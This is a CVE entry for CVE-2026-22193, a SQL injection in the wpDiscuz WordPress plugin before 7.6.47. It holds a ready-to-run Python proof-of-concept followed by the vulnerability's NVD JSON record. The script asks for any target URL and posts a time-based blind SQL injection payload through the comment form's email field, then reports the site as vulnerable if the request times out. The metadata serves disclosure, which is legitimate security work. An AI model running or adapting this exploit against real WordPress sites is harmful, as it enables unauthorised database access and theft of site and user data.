CVE-2026-22193

#!/usr/bin/env python3 # CVE-2026-22193 wpDiscuz SQL Injection PoC # Target: wpDiscuz < 7.6.47 import requests import sys target = input("Enter target URL: ").rstrip('/') # SQL Injection payload in email parameter # This payload exploits the lack of quote escaping in getAllSubscriptions() sql_payload = "[email protected]' AND (SELECT * FROM (SELECT SLEEP(5))a) AND '1'='1" # Endpoint typically used for subscription functionality endpoint = f"{target}/wp-comments-post.php" data = { "comment": "Test comment", "author": "attacker", "email": sql_payload, # Vulnerable parameter "url": "http://evil.com", "wpdiscuz_subscription": "1" # Trigger subscription } print(f"[*] Sending payload to {endpoint}") print(f"[*] Payload: {sql_payload}") try: response = requests.post(endpoint, data=data, timeout=10) print(f"[+] Request completed with status code: {response.status_code}") print("[*] Check if SLEEP() was executed (5 second delay indicates vulnerability)") except requests.exceptions.Timeout: print("[+] VULNERABLE! Request timed out after 10 seconds (SQL injection confirmed)") except Exception as e: print(f"[-] Error: {e}")

{"cve": {"id": "CVE-2026-22193", "sourceIdentifier": "[email protected]", "published": "2026-03-13T19:54:09.720", "lastModified": "2026-03-17T20:27:42.513", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "wpDiscuz before 7.6.47 contains an SQL injection vulnerability in the getAllSubscriptions() function where string parameters lack proper quote escaping in SQL queries. Attackers can inject malicious SQL code through email, activation_key, subscription_date, and imported_from parameters to manipulate database queries and extract sensitive information."}, {"lang": "es", "value": "wpDiscuz antes de 7.6.47 contiene una vulnerabilidad de inyección SQL en la función getAllSubscriptions() donde los parámetros de cadena carecen de un escape de comillas adecuado en las consultas SQL. Los atacantes pueden inyectar código SQL malicioso a través de los parámetros email, activation_key, subscription_date e imported_from para manipular consultas de base de datos y extraer información sensible."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.2, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.9}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gvectors:wpdiscuz:*:*:*:*:*:wordpress:*:*", "versionEndExcluding": "7.6.47", "matchCriteriaId": "A81F51B9-0C21-4F7E-876B-C09A66B9AE05"}]}]}], "references": [{"url": "https://wordpress.org/plugins/wpdiscuz/", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://wordpress.org/plugins/wpdiscuz/#developers", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://www.vulncheck.com/advisories/wpdiscuz-before-sql-injection-in-getallsubscriptions", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}